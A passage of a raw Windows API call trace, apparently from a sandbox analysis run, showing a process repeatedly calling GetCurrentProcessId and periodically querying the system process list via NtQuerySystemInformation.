0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.556] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.557] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0272.558] GetCurrentProcessId () returned 0xbf4 [0273.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.099] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.100] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.101] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.102] GetCurrentProcessId () returned 0xbf4 [0273.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0273.636] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.637] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.638] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0273.639] GetCurrentProcessId () returned 0xbf4 [0274.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0274.151] GetCurrentProcessId () returned 0xbf4 [0274.151] GetCurrentProcessId () returned 0xbf4 [0274.151] GetCurrentProcessId () returned 0xbf4 [0274.151] GetCurrentProcessId () returned 0xbf4 [0274.151] GetCurrentProcessId () returned 0xbf4 [0274.151] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.152] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.153] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.154] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.155] GetCurrentProcessId () returned 0xbf4 [0274.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0274.682] GetCurrentProcessId () returned 0xbf4 [0274.682] GetCurrentProcessId () returned 0xbf4 [0274.682] GetCurrentProcessId () returned 0xbf4 [0274.682] GetCurrentProcessId () returned 0xbf4 [0274.682] GetCurrentProcessId () returned 0xbf4 [0274.682] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.683] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.684] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.685] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0274.686] GetCurrentProcessId () returned 0xbf4 [0275.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.212] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.213] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] GetCurrentProcessId () returned 0xbf4 [0275.214] 